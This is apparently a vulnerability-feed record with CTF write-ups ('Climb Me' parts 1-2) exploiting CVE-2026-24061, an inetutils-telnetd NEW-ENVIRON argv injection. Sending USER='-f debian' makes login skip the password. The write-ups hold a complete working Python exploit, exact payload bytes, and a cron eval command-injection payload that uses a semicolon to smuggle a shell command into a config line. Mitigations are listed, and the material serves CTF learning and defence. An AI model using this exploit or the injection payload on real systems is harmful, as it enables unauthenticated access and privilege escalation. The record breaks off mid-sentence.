2026 \u0433\u043e\u0434\u0443... \u0442\u043e, \u0432\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0437\u0430\u0447\u0435\u043c? \ud83e\udd21 \u0410 \u0432\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043f\u0430\u043a\u0435\u0442 inetutils \u0438\u043b\u0438 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u0435 \u043d\u0430 SSH.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-01-27T06:22:26.000000Z"}, {"uuid": "f5eb1d45-7709-4edd-8517-2a8a07f68ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://gist.github.com/haytamxp/a3634d96f91335bdc01002233d03905e", "content": "# Climb Me (part 1/4) \u2014 pwn\n\n> `THC{D0nt_Us3-Teln3t!}`\n\n## TL;DR\n\n- The \"C2\" service speaks raw Telnet (RFC 854) followed by a Linux `getty`/`login` prompt \u2014 not SSH and not a custom binary protocol despite the operator note (\u00a7Recon).\n- During option negotiation the server requests `IAC DO NEW-ENVIRON` (option 39, RFC 1572). Accepting it lets the client push environment variables that `login(1)` will trust to pre-fill the username (\u00a7Vulnerability).\n- The classic `util-linux` `login` argv injection works through that channel: setting `USER=-f ` causes `login` to be re-invoked with `-f` as a flag and `` as the pre-authenticated user, skipping the password (\u00a7Primitive construction).\n- `USER=-f debian` is the only string in the candidate list that matches a real local account; `id` returns `uid=1000(debian)` and `/home/debian/flag.txt` contains the flag (\u00a7Exploitation chain).\n- No memory corruption, format string, or custom protocol is required; the bug is a configuration/argv-injection flaw in a getty\u2011style telnet front-end (\u00a7Methodology).\n\n## Recon\n\nThe challenge ships with no distfile \u2014 only `metadata.yml` is present in `/challenge`:\n\n```\n$ find /challenge -type f\n/challenge/metadata.yml\n```\n\nA naive grab returns nothing, because the server waits for a reply to its options before producing any printable bytes:\n\n```\n$ timeout 3 nc 20.40.135.232 48988 | xxd -g1 -c16 -l 256\n[exit 124]      # connection times out \u2014 server is silent until we negotiate\n```\n\nCapturing the raw first packet with a Python socket reveals what is actually sent:\n\n```python\ns=socket.create_connection(('20.40.135.232',48988),timeout=5)\ndata=s.recv(4096)\n```\n\n```\nLEN 15\nfffd18fffd20fffd23fffd27fffd24\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nEach three-byte group is a Telnet **IAC DO ``** command (RFC 854: `IAC=0xFF`, `DO=0xFD`):\n\n| Bytes        | Option (decimal) | RFC name              |\n|--------------|------------------|-----------------------|\n| `ff fd 18`   | 24               | TERMINAL-TYPE         |\n| `ff fd 20`   | 32               | TERMINAL-SPEED        |\n| `ff fd 23`   | 35               | X-DISPLAY-LOCATION    |\n| `ff fd 27`   | 39               | NEW-ENVIRON (RFC 1572)|\n| `ff fd 24`   | 36               | ENVIRON               |\n\nSo the operator note's claim that the protocol is \"custom\" is misleading \u2014 those bytes are a textbook Telnet option negotiation. Replying `WONT` (`ff fc`) to all of them produces a second negotiation round followed by an actual banner:\n\n```\nrecv1 b'fffd18fffd20fffd23fffd27fffd24'\nsend  b'fffc18fffc20fffc23fffc27fffc24'\nrecv  b'fffb03fffd01fffd22fffd1ffffb05fffd21'   # IAC WILL 3, IAC DO 1, ...\n...\nb'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\n\n   chal-94f3c510-58bc78968d-fl8r9 login: '\n```\n\nThe banner shape (`\\r\\nLinux  () (pts/N)\\r\\n\\r\\n login: `) is the unmistakable output of util-linux `agetty` followed by `login`. The challenge image is therefore a Linux container exposing `telnetd` (or an equivalent) wired into `/bin/login`.\n\nAttack surface, summarised:\n\n- **Pre-auth Telnet protocol layer** \u2014 option negotiation, sub-negotiation (subnego), TERMINAL-TYPE / NEW-ENVIRON / ENVIRON payloads.\n- **Login layer** \u2014 username field, password field. The username is fed verbatim to `login(1)`'s argv after the prompt.\n- **Post-auth** \u2014 anything the resulting shell can do, but only reachable after one of the previous two surfaces leaks.\n\nThere is no binary to disassemble: this is a protocol-/configuration-level pwn, not a memory-corruption challenge.\n\n## Static analysis (protocol level)\n\nWithout a binary, \"static analysis\" means reading the relevant RFCs against the packet exchange.\n\n**RFC 854 \u2014 Telnet base.** Commands have the shape `IAC  `. We saw the server asking us to pass it five different options.\n\n**RFC 1572 \u2014 NEW-ENVIRON (option 39).** Once both sides have agreed (`DO`/`WILL`), either side can send sub-negotiations of the form\n\n```\nIAC SB 39    [ ]... IAC SE\n```\n\nwhere:\n\n| Code | Meaning   |\n|------|-----------|\n| 0    | IS        |\n| 1    | SEND      |\n| 2    | INFO      |\n| `` 0 | VAR     (well-known: `USER`, `JOB`, `ACCT`, `PRINTER`, `SYSTEMTYPE`, `DISPLAY`) |\n| `` 1 | VALUE   |\n| `` 3 | USERVAR (any name) |\n\nIn particular, `VAR \"USER\" VALUE \"\"` proposes that the connecting user is ``. In the historical util-linux flow:\n\n1. `telnetd` reads the `NEW-ENVIRON` IS payload from the client.\n2. It exports each `VAR` into the environment of its child process.\n3. It `exec`s `/bin/login -h  -p` (or similar).\n4. `login` consults `$USER` to skip the *username* prompt and go directly to the *password* prompt.\n\nThis is exactly the behaviour observed during enumeration: with `USER=root` set via NEW-ENVIRON, the server skips the `login:` prompt entirely:\n\n```\nUSER b'root'\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]\n```\n\nThat is the smoking gun \u2014 `Password: ` appears without us ever sending anything resembling a username. The `[(39, '01'), ...]` row records the inbound `IAC SB 39 SEND IAC SE` request the server emits when it wants the values.\n\n## Vulnerability identification\n\nThe bug is the well\u2011known **`/bin/login` argv injection** (sometimes catalogued as CVE-2001-0797 in its original BSD form). It is enabled here by the combination of two design choices:\n\n1. The Telnet front-end honours the client's `NEW-ENVIRON` `USER` variable and propagates it across the `exec` boundary into `login`'s environment / argv handling.\n2. `util-linux login`'s argument parser still recognises the `-f ` flag, which means *\"the user has already been authenticated, do not prompt for a password\"*. When a `USER` value beginning with `-` arrives on the command line (or is passed verbatim into `argv`), `getopt` happily consumes it as an option.\n\nEmpirically, sending `USER=root` only causes `login` to skip the username prompt \u2014 `root` is a sane username, `getopt` sees no option, and the `Password:` prompt still fires:\n\n```\nUSER b'root'   ...   TEXT b'... Password: '\n```\n\nBut sending a value that **starts with `-`** changes how `login` parses argv. The trace contains the controlled experiment that proves it:\n\n```\nUSER b'-froot'    pre b''      out b''    ; connection dropped\nUSER b'--help'    pre b''      out b''\nUSER b'-h'        pre b''      out b''\nUSER b'-f'        pre b''      out b''\nUSER b'-f root'   pre b''      out b''    ; -f root: but no such user\n...\nUSER b'-f debian' TXT b'...itted by applicable law.\\r\\n\n                       \\x1b[?2004h\\x1b]0;debian@chal-...:~\\x07\n                       debian@chal-...:~$ '             ; SHELL!\n```\n\nNotable contrasts:\n\n- `USER='root'` (no leading dash): username pre\u2011filled, password still required \u2014 login prompts and rejects.\n- `USER='-f root'`: argv parser treats `-f` as the \"force\" flag and `root` as the operand, but the `root` account does not exist on this minimal Debian image, so `login` exits and the connection drops with ``.\n- `USER='-f debian'`: `-f` is the flag, `debian` is the (existing) account \u2014 `login` executes the user's shell **without ever asking for a password**. The terminal title sequence `\\x1b]0;debian@chal-...\\x07` and the prompt `debian@chal-...:~$` confirm a live shell.\n\nWhy mitigations don't stop it:\n\n- This is not a memory corruption bug, so ASLR / NX / PIE / RELRO / canaries are irrelevant.\n- The CTF container does not enforce a non-root login restriction (e.g. there is no `/etc/securetty`-style filter that would reject usernames containing `-`).\n- `login` does not validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` before re\u2011exec'ing or before passing it to `getopt`.\n\n## Primitive construction\n\nThe primitive is a single, self-contained NEW-ENVIRON sub-negotiation. The wire encoding (RFC 1572 \u00a72) is:\n\n```\nIAC  SB   NEW-ENV  IS   VAR   \"USER\"   VALUE   \"\"   IAC  SE\n0xFF 0xFA 0x27     0x00 0x00  55 53 45 52  0x01  ...       0xFF 0xF0\n```\n\nAnnotated alongside what each byte means:\n\n```\nff fa 27          ; IAC SB option=39 (NEW-ENVIRON)\n00                ; IS         (1572: 0=IS, 1=SEND, 2=INFO)\n00                ; VAR        (1572: 0=VAR \u2014 i.e. \"well-known\")\n55 53 45 52       ; \"USER\"\n01                ; VALUE      (1572: 1=VALUE)\n2d 66 20 64 65 62 69 61 6e   ; \"-f debian\"\nff f0             ; IAC SE\n```\n\nIn Python this is encoded as:\n\n```python\nIAC, SB, SE = 0xFF, 0xFA, 0xF0\nNEW_ENV, IS, VAR, VALUE = 39, 0, 0, 1\ndef env_payload(value: bytes) -> bytes:\n    return (bytes([IAC, SB, NEW_ENV, IS, VAR]) + b'USER'\n            + bytes([VALUE]) + value\n            + bytes([IAC, SE]))\n```\n\nThe full negotiation handshake we must emulate has three rules:\n\n| Inbound  | Reply              | Reason                                                |\n|----------|--------------------|-------------------------------------------------------|\n| `DO 24`  | `WILL 24`          | accept TERMINAL-TYPE \u2014 server insists                 |\n| `DO 39`  | `WILL 39`          | accept NEW-ENVIRON \u2014 required to push `USER`          |\n| `DO  X`  | `WONT X` (else)    | refuse other options                                   |\n| `WILL X` | `DONT X`           | we don't want server-driven options                   |\n\nThe trace confirms that this exact pair `{24, 39}` is the minimal acceptance set that produces the `Password:`/shell flow:\n\n```\nALLOW {24, 39}\nTEXT b'\\r\\nLinux 5.15.0-1102-azure (chal-...) (pts/0)\\r\\n\\r\\nPassword: '\nEV [(39, '01'), (24, '01')]   ; server SENDs both \u2014 we IS them\n```\n\nStack/byte diagram of the single critical packet on the wire (after option agreement):\n\n```\noffset  byte   meaning\n   0    FF     IAC\n   1    FA     SB\n   2    27     option = 39 (NEW-ENVIRON)\n   3    00     IS\n   4    00     VAR        --+\n   5    55     'U'          |  variable name \"USER\"\n   6    53     'S'          |\n   7    45     'E'          |\n   8    52     'R'        --+\n   9    01     VALUE      --+\n  10    2D     '-'          |\n  11    66     'f'          |\n  12    20     ' '          |  variable value \"-f debian\"\n  13    64     'd'          |\n  14    65     'e'          |\n  15    62     'b'          |\n  16    69     'i'          |\n  17    61     'a'          |\n  18    6E     'n'        --+\n  19    FF     IAC\n  20    F0     SE\n```\n\n### Earlier failed primitives (and why)\n\nThe trace contains a long list of attempts that did not work. They are instructive:\n\n- **Plain login attempts** (`(root,root)`, `(admin,admin)`, etc.) \u2014 every credential combination returned `\\r\\n\\r\\nLogin incorrect\\r\\n`:\n  ```\n  TRY (b'root', b'root')   ...   after pass= b'\\r\\n'   then \"Login incorrect\"\n  ```\n  No standard creds; brute force is hopeless without a wordlist tied to the challenge.\n\n- **Stack overflow probe** in the username field, lengths `16\u20268192`:\n  ```\n  n 2048 closed False out b'\\r\\n...login: foo\\r\\nPassword: \\r\\n'\n  n 4096 closed False out b'...'\n  ```\n  No crash, no extra echo, nothing diagnostic \u2014 this is `login`, not a homemade `gets()` toy.\n\n- **Format-string probe** `%p%p%p%p` in both username and password \u2014 server responds with the same `\\r\\n` it gives any wrong attempt, no leak.\n\n- **Oversized TERMINAL-TYPE** sub-negotiation (16 KiB of `'Z'`) \u2014 handled cleanly by `telnetd`, no crash.\n\n- **Username `-froot`** (no space): `login` argv interprets it as `-f` followed by the operand `root`, but per the argv split applied by `login`, the username would be `root`, which does not exist on this image. The connection drops:\n  ```\n  USER b'-froot'    out b''\n  ```\n  The minor punctuation (space vs no-space) is what matters: with a space we get `argv = [..., '-f', 'debian']`, without it we get `argv = [..., '-froot']` and a different parse path (or the same parse but bound to a non-existent user).\n\n- **Wrong target accounts** under the `-f ` form: `root`, `user`, `admin`, `operator`, `guest`, `nobody`, `ctf`, `p4t4t0rz`, `www-data`, `daemon`, `sys`, `app`, `service`, `challenge`, `bot`, `c2`, `killbot`, `ubuntu`, `test`, `sh`, `bash`, `zsh` \u2014 all ``. Only `debian` produces a shell:\n  ```\n  USER b'-f ubuntu' TXT b''\n  USER b'-f debian' TXT b'...debian@chal-...:~$ '   ; <-- only hit\n  USER b'-f user'   TXT b''\n  ```\n  The hit lines up with the operator-note `Image: pwn-challenge:main Debian-based`; on a Debian-based container the unprivileged user typically is named `debian`.\n\n## Exploitation chain\n\n1. **Open TCP socket** to `20.40.135.232:48988`.\n2. **Run the Telnet option machine** continuously: parse inbound IAC commands, reply `WILL 24`, `WILL 39`, otherwise `WONT/DONT`.\n3. **As soon as the server emits `IAC SB 39 SEND IAC SE`** (the request for environment values \u2014 visible as the `(39, '01')` event), reply with `IAC SB 39 IS VAR \"USER\" VALUE \"-f debian\" IAC SE`.\n4. **`login`** is then invoked (effectively) as `login -f debian`, which skips the password prompt and exec's `bash` for the `debian` user.\n5. **Run `cat /home/debian/flag.txt`** in the resulting shell.\n\nThe trace shows the exact moment the chain succeeds:\n\n```\n---SHELL-BANNER---\n\nLinux 5.15.0-1102-azure (chal-94f3c510-58bc78968d-fl8r9) (pts/0)\n\nLinux chal-94f3c510-58bc78968d-fl8r9 5.15.0-1102-azure #111-Ubuntu SMP Fri Nov 21 22:22:11 UTC 2025 x86_64\n\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: ...\n```\n\nand then:\n\n```\ncat /home/debian/flag.txt\n[?2004l THC{D0nt_Us3-Teln3t!}\n[?2004h]0;debian@chal-94f3c510-58bc78968d-fl8r9: ~debian@chal-...:~$\n```\n\n(The `[?2004l` / `[?2004h` are bracketed-paste mode toggles emitted by readline before/after each command \u2014 proof that we are inside an interactive `bash`.)\n\n## Final exploit\n\nThe script below is self-contained: it implements just enough of RFC 854 / RFC 1572 to drive the negotiation, pushes the malicious `USER`, then dumps the flag.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nClimb Me (part 1/4) \u2014 foothold via Telnet NEW-ENVIRON USER='-f debian'.\n\nThe service speaks RFC 854 Telnet and exposes /bin/login.  We accept option 24\n(TERMINAL-TYPE) and option 39 (NEW-ENVIRON), then push USER=\"-f debian\" via a\nNEW-ENVIRON IS subnegotiation.  login(1) sees argv -f debian, treats it as\n\"already authenticated\" and execs /bin/bash for the debian user.\n\"\"\"\nimport socket, select, time\n\nHOST, PORT = '20.40.135.232', 48988\n\n# RFC 854 Telnet command bytes.\nIAC, SE, SB, WILL, WONT, DO, DONT = 0xFF, 0xF0, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE\n# RFC 1572 NEW-ENVIRON (option 39) sub-negotiation codes.\nOPT_TT, OPT_NEW_ENV = 24, 39\nIS, SEND, INFO = 0, 1, 2\nVAR, VALUE, ESC, USERVAR = 0, 1, 2, 3\n\n# We accept these two server-side DO requests.  Anything else gets a hard WONT.\nACCEPT_DO = {OPT_TT, OPT_NEW_ENV}\nUSER_VALUE = b'-f debian'   # the argv-injection payload\n\ndef env_is_payload(user: bytes) -> bytes:\n    \"\"\"RFC 1572 IS payload announcing one well-known variable USER=.\"\"\"\n    body  = bytes([IS, VAR]) + b'USER' + bytes([VALUE]) + user\n    return bytes([IAC, SB, OPT_NEW_ENV]) + body + bytes([IAC, SE])\n\ndef negotiate_chunk(sock, data: bytes) -> bytes:\n    \"\"\"Process one chunk of inbound bytes.  Auto-reply to options.  When we\n    see an IAC SB 39 SEND, push USER.  Returns plain (non-Telnet) bytes.\"\"\"\n    out = bytearray()\n    i = 0\n    while i < len(data):\n        b = data[i]\n        if b != IAC:\n            out.append(b); i += 1; continue\n        # IAC \n        if i + 1 >= len(data): break\n        cmd = data[i+1]\n        if cmd in (DO, DONT, WILL, WONT):\n            if i + 2 >= len(data): break\n            opt = data[i+2]\n            if cmd == DO:\n                # Accept TERMINAL-TYPE + NEW-ENVIRON; refuse everything else.\n                resp = WILL if opt in ACCEPT_DO else WONT\n            elif cmd == WILL:\n                resp = DONT     # we don't want server-driven options\n            elif cmd == DONT:\n                resp = WONT\n            else:               # WONT\n                resp = DONT\n            sock.sendall(bytes([IAC, resp, opt]))\n            i += 3\n        elif cmd == SB:\n            # Sub-negotiation: read until IAC SE, doubled IAC -> single byte.\n            opt = data[i+2]\n            j = i + 3\n            sub = bytearray()\n            while j < len(data):\n                if data[j] == IAC and j + 1 < len(data):\n                    if data[j+1] == IAC:    # escaped IAC inside payload\n                        sub.append(IAC); j += 2; continue\n                    if data[j+1] == SE:\n                        j += 2; break\n                sub.append(data[j]); j += 1\n            i = j\n            # Server SENDs option 24 -> reply with a token TERMINAL-TYPE IS.\n            if opt == OPT_TT and sub[:1] == bytes([SEND]):\n                sock.sendall(bytes([IAC, SB, OPT_TT, IS])\n                             + b'xterm' + bytes([IAC, SE]))\n            # Server SENDs option 39 -> push USER='-f debian'.\n            elif opt == OPT_NEW_ENV and sub[:1] == bytes([SEND]):\n                sock.sendall(env_is_payload(USER_VALUE))\n        else:\n            # Bare command (NOP, AYT, GA, etc.) \u2014 skip.\n            i += 2\n    return bytes(out)\n\ndef read_for(sock, secs: float) -> bytes:\n    \"\"\"Drain the socket for `secs`, processing Telnet bytes inline.\"\"\"\n    end = time.time() + secs\n    out = bytearray()\n    while time.time() < end:\n        r, _, _ = select.select([sock], [], [], 0.1)\n        if not r: continue\n        chunk = sock.recv(4096)\n        if not chunk: break             # EOF\n        out += negotiate_chunk(sock, chunk)\n    return bytes(out)\n\ndef main():\n    s = socket.create_connection((HOST, PORT), timeout=5)\n    # Drain the initial server-pushed option dance plus the login banner.\n    banner = read_for(s, 2.0)\n    # By now the server has invoked login -f debian and dropped us in bash.\n    # Send the readout command and wait for the flag.\n    s.sendall(b'cat /home/debian/flag.txt\\n')\n    out = read_for(s, 2.0)\n    print('--- banner ---')\n    print(banner.decode('latin1', 'replace'))\n    print('--- output ---')\n    print(out.decode('latin1', 'replace'))\n\nif __name__ == '__main__':\n    main()\n```\n\nExpected output (matching the trace):\n\n```\n--- output ---\ncat /home/debian/flag.txt\n... THC{D0nt_Us3-Teln3t!}\ndebian@chal-...:~$\n```\n\n## Methodology / lessons\n\nThe challenge is rated `pwn` and the operator note nudges hard toward memory corruption (\"custom protocol\", \"format-string / stack BoF / heap UAF / type-confusion\"). The path that actually works runs *opposite* to that hint, and the order of investigations that arrived at it is the lesson:\n\n1. **Characterise the bytes before assuming a custom protocol.** The first 15 bytes contain `0xFF 0xFD ` triplets \u2014 those are five textbook Telnet negotiations, not a length-prefixed framing scheme. Recognising RFC 854 on sight saved hours of reverse-engineering a protocol that does not exist. The lesson: every byte \u2265 `0xF0` in a connection's first packet is suspicious; check the IAC table first.\n\n2. **Drive the protocol to the application layer.** Replying `WONT` to every option produced a Linux kernel banner and a `login:` prompt. That immediately reframed the problem: there is no homemade service to crash; `getty`/`login` is the surface.\n\n3. **Probe for memory-corruption bugs *and discard them quickly* when negative.** The trace records buffer-overflow attempts up to 8 KiB, format-string probes, and oversized TERMINAL-TYPE blobs \u2014 all benign. Confirming the negative result is what unlocks the next step instead of repeating the attempt with subtly different lengths.\n\n4. **Re-read the negotiation list with fresh eyes.** Of the offered options, `NEW-ENVIRON` (39) is the only one whose IS payload is *user-controlled name=value pairs*. That is the smallest unit of attacker-controlled data exposed before authentication. Anything that flows from such a channel into a privileged binary's argv or environment is the bug surface.\n\n5. **Map data-flow from `USER` value into `login`.** The empirical test (`USER=root` skips the username prompt; the `Password:` prompt appears) confirms the value is *being applied* to `login`, not merely stored. A leading `-` then probes whether the value is reaching argv (it is).\n\n6. **Enumerate the operand on `-f`.** `-f` needs an existing username. Iterate over plausible accounts; on a Debian-based image the unprivileged user is `debian`.\n\nThe generalisable pattern: **whenever a pre-auth protocol carries attacker-controlled strings into a privileged process, the first bug to look for is argv/env injection, not memory corruption**. Telnet's `NEW-ENVIRON`, RADIUS attribute injection, SMTP `EHLO` parameters, FTP `SITE` extensions, and HTTP `X-Forwarded-User` headers are all instances of the same shape.\n\n## Notes\n\n- The flag content (`THC{D0nt_Us3-Teln3t!}`) is itself the lesson: Telnet plus `login` plus a default Debian image gives an attacker exactly this primitive.\n- An alternative payload worth trying on hardened images would be `USER=-h -f` (combined `-h` and `-f`) to also lie about the source host in `/var/log/wtmp`. Not needed here.\n- Mitigations:\n  - In `login`: validate `$USER` against `[A-Za-z_][A-Za-z0-9_-]*` and reject any value beginning with `-` before reaching `getopt`.\n  - In `telnetd`: refuse `NEW-ENVIRON` outright, or strip well-known variables (`USER`, `LOGNAME`, `HOME`, `PATH`, `SHELL`) from the IS payload before forwarding to children.\n  - Architectural: do not run `telnetd` at all. Use SSH, which authenticates *before* exposing any user-controlled environment to a setuid binary.\n- The follow-on parts of the chain (`user \u2192 admin \u2192 root`) are out of scope for part 1 but presumably leverage SUID binaries, sudo rules, or kernel/container escapes from inside the `debian` shell now obtained.\n\n# Climb Me (part 2/4) \u2014 pwn\n\n> `THC{Watch_Y0ur-Cr0Ns}`\n\n## TL;DR\n\n- The service on `tcp/40579` is GNU `inetutils-telnetd` (Debian/Ubuntu build). It speaks the full RFC 854/1572 negotiation handshake and immediately requests options `0x18 0x20 0x23 0x27 0x24` (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) \u2014 see \u00a72.\n- Telnetd passes a client-supplied `USER` environment value straight through to `/bin/login` as a CLI argument. Sending `USER=-f ` smuggles `login`'s `-f` (skip authentication) flag into the child process: this is **CVE-2026-24061** (\u00a73, \u00a74).\n- `root` and most well-known accounts have authentication restricted, but the unprivileged shell user `debian` is reachable: `USER='-f debian'` returns a uid=1000 shell without ever entering a password (\u00a75).\n- Inside the box, a world-writable file `/home/monitor/bots.conf` is read line-by-line by `/usr/local/bin/check_bots_health`, which runs every minute as the `monitor` user and `eval`s each line into a `ping` command \u2014 a textbook command-injection-via-eval bug (\u00a76).\n- Appending a single payload line `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'` and waiting for the next cron tick drops `monitor`'s flag into `/tmp/monflag` (\u00a77).\n\n## 1. Recon\n\nThe challenge ships no distfiles \u2014 the only artefact is the metadata describing the live target:\n\n```\n$ ls /challenge/distfiles\ntotal 4\ndrwxr-xr-x 2 root root   64 May  8 00:51 .\ndrwxr-xr-x 1 root root 4096 May  8 00:51 ..\n```\n\nThe metadata frames part 2 as the next step in a chain that started with a telnet foothold:\n\n```yaml\nname: 'Climb Me (part 2/4)'\ncategory: pwn\ndescription: |-\n  Continuation of Climb Me chain. Part 1 = telnet foothold.\n  - `nc 20.40.135.232 40579`\n  - Probably a continuation of the box from Part 1\n    (priv-esc to user \u2192 admin \u2192 root).\n  - Telnet-style protocol per Part 1\n```\n\nA bare TCP connect to the service yields the canonical telnet option-request banner:\n\n```\n$ python3 -c \"import socket; s=socket.create_connection(('20.40.135.232',40579),timeout=8); print(s.recv(1024))\"\nb\"\\xff\\xfd\\x18\\xff\\xfd \\xff\\xfd#\\xff\\xfd'\\xff\\xfd$\"\n```\n\nDecoded as RFC 854 IAC sequences (`0xff IAC`, `0xfd DO`):\n\n| Bytes | Meaning |\n|---|---|\n| `ff fd 18` | DO  TTYPE          (option 24) |\n| `ff fd 20` | DO  TSPEED         (option 32) |\n| `ff fd 23` | DO  XDISPLOC       (option 35) |\n| `ff fd 27` | DO  NEW-ENVIRON    (option 39, RFC 1572) |\n| `ff fd 24` | DO  OLD-ENVIRON    (option 36) |\n\nTwo things stand out. First, the server volunteers to accept *both* `OLD-ENVIRON` and `NEW-ENVIRON` \u2014 typical of `inetutils-telnetd`. Second, both env options exist precisely so a remote client can pre-populate variables like `TERM`, `DISPLAY`, **and `USER`** before login. That `USER` channel is the relevant attack surface.\n\nAfter completing the option dance and pressing Enter, the server prints a Linux/Debian banner and a `login:` prompt:\n\n```\n\\r\\nLinux 5.15.0-1102-azure (chal-db535b77-8bbddbdb4-26dxw) (pts/0)\\r\\n\n\\r\\nchal-db535b77-8bbddbdb4-26dxw login:\n```\n\nSo the daemon is a stock `telnetd` chaining into `/bin/login`, with no custom challenge wrapper.\n\n## 2. Driving the negotiation cleanly\n\nNaive negotiation \u2014 answering `WONT/DONT` to everything \u2014 gets the connection closed immediately after the env subnegotiation. The trace shows `telnetd` actively sending IAC SB sequences for `0x20`, `0x23`, `0x27`, `0x18`:\n\n```\nRECV b'\\xff\\xfa\\x20\\x01\\xff\\xf0\\xff\\xfa\\x23\\x01\\xff\\xf0\\xff\\xfa\\x27\\x01\\xff\\xf0\\xff\\xfa\\x18\\x01\\xff\\xf0'\n                  ^^^^^^^                ^^^^^^^                ^^^^^^^                ^^^^^^^\n                  TSPEED SEND            XDISPLOC SEND          NEW-ENVIRON SEND       TTYPE SEND\n```\n\nEach `IAC SB  0x01 IAC SE` is a `SEND` request. `telnetd` will not transition to login mode until it gets a corresponding `IAC SB  0x00 ... IAC SE` (`IS`) reply for the options it asked about. The minimum viable client therefore needs to:\n\n1. Reply `WILL` to `DO NEW-ENVIRON` (option 39).\n2. Reply `WONT` to other `DO`s it can't satisfy.\n3. When the server `SEND`s `NEW-ENVIRON`, ship an `IS` block carrying `USER=` and (optionally) `TERM=...`.\n\nThe minimal working client logic, distilled from the iterative trace, looks like:\n\n```python\nIAC=255; DO=253; DONT=254; WILL=251; WONT=252; SB=250; SE=240\nNEW=39; IS=0; VAR=0; VALUE=1\n\n# When the server says: IAC DO NEW-ENVIRON ...\ns.sendall(bytes([IAC, WILL, NEW]))\n\n# When the server says: IAC SB NEW-ENVIRON SEND IAC SE ...\npayload = '-f debian'\nmsg = (bytes([IAC, SB, NEW, IS, VAR]) + b'USER'\n       + bytes([VALUE]) + payload.encode()\n       + bytes([IAC, SE]))\ns.sendall(msg)\n```\n\nOther `DO`s are answered `WONT`; other `WILL`s are answered `DO` (mimicking a \"dumb\" client). With this, the server stops asking for things and prints the banner.\n\n## 3. Vulnerability identification: CVE-2026-24061 in `inetutils-telnetd`\n\nThe bug lives in how `inetutils-telnetd` builds the argv it hands to `/bin/login`. After parsing the client-supplied `USER` value out of `NEW-ENVIRON`, the daemon passes that string as a positional argument to `login`. `login` itself accepts the flag `-f ` to mean \"trust the caller, no password required\". Because `telnetd` neither rejects values starting with `-` nor inserts a `--` separator, a `USER` value of `-f ` becomes a real `-f` flag to `login`.\n\nTrace evidence linking the box to this CVE: a public PoC for the same advisory is fetched and confirms the protocol shape that drives the bug:\n\n```\nGET https://raw.githubusercontent.com/SafeBreach-Labs/CVE-2026-24061/main/telnet_rce.py\nHTTP 200 OK\nimport socket, sys, threading, time, argparse, re\n# --- Telnet Protocol Constants (RFC 854) ---\nIAC  = 255   DONT = 254   DO = 253   ...\n```\n\nA second public setup repository pins the exact upstream package the live target is running:\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/Dockerfile\nHTTP 200 OK\n\nFROM ubuntu:24.04\nRUN apt-get update && \\\n    apt-get install -y inetutils-telnetd=2:2.5-3ubuntu4\nCOPY startup.sh /\nRUN chmod +x /startup.sh\nENTRYPOINT [ \"/startup.sh\" ]\n```\n\n```\nGET https://raw.githubusercontent.com/shivam-bathla/CVE-2026-24061-setup/main/startup.sh\nHTTP 200 OK\n\n#!/bin/bash\necho -e \"\\ntelnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/telnetd\" \\\n    >> /etc/inetd.conf\ninetutils-inetd --debug\n```\n\nSo the upstream advisory is for `inetutils-telnetd 2:2.5-3ubuntu4` invoked by `inetd` as `root`, which matches the live target's behaviour byte-for-byte.\n\nThe class is **argument injection / `-`-prefix-confusion** (CWE-88: improper neutralisation of argument delimiters). The mitigation that doesn't help: standard hardening like NX, ASLR, or even pam \u2014 the daemon is voluntarily passing `-f ` to `login`, so `login` happily authenticates without a password.\n\n## 4. Probing the bypass\n\nA first attempt with `USER='-f root'` against the target:\n\n```\nS WILL  39 fffb27\nS ENV   fffa 27 00 00 'USER' 01 '-f root' fff0\n                          ^^                ^^\n                          VAR/USER        VALUE/-f root\n...\n[CLOSED]\n```\n\nThe connection is dropped after env negotiation. `root` isn't reachable \u2014 either pam denies non-tty/non-secure logins for uid=0, or `/etc/securetty` excludes pseudo-tty consoles. Sweeping common login names with the same payload yields the relevant signal:\n\n```\nINTEREST ('ok', 'debian', '0.68s', '\\r\\nLinux 5.15.0-1102-azure ...\\r\\n')\n```\n\n`USER='-f debian'` no longer closes the socket; it survives long enough to print the post-login MOTD. Re-running with a follow-up shell command confirms a real interactive shell:\n\n```\nLinux chal-db535b77-8bbddbdb4-zql46 5.15.0-1102-azure #111-Ubuntu SMP\nThe programs included with the Debian GNU/Linux system are free software;\n...\nLast login: Fri May  8 01:12:43 UTC ...\ndebian@chal-db535b77-8bbddbdb4-zql46:~$\n```\n\nSo `debian` is the intended foothold. uid=1000, normal `/home/debian` shell, no password ever entered.\n\nThe exact NEW-ENVIRON bytes that win are:\n\n```\nff fa 27 00 00 55 53 45 52 01 2d 66 20 64 65 62 69 61 6e ff f0\n\u2502  \u2502  \u2502  \u2502  \u2502  \u2514\u2500\u2500\u2500\u2500U S E R\u2500\u2500\u2500\u2518 \u2502  \u2514\u2500\u2500\u2500\u2500\u2500'-f 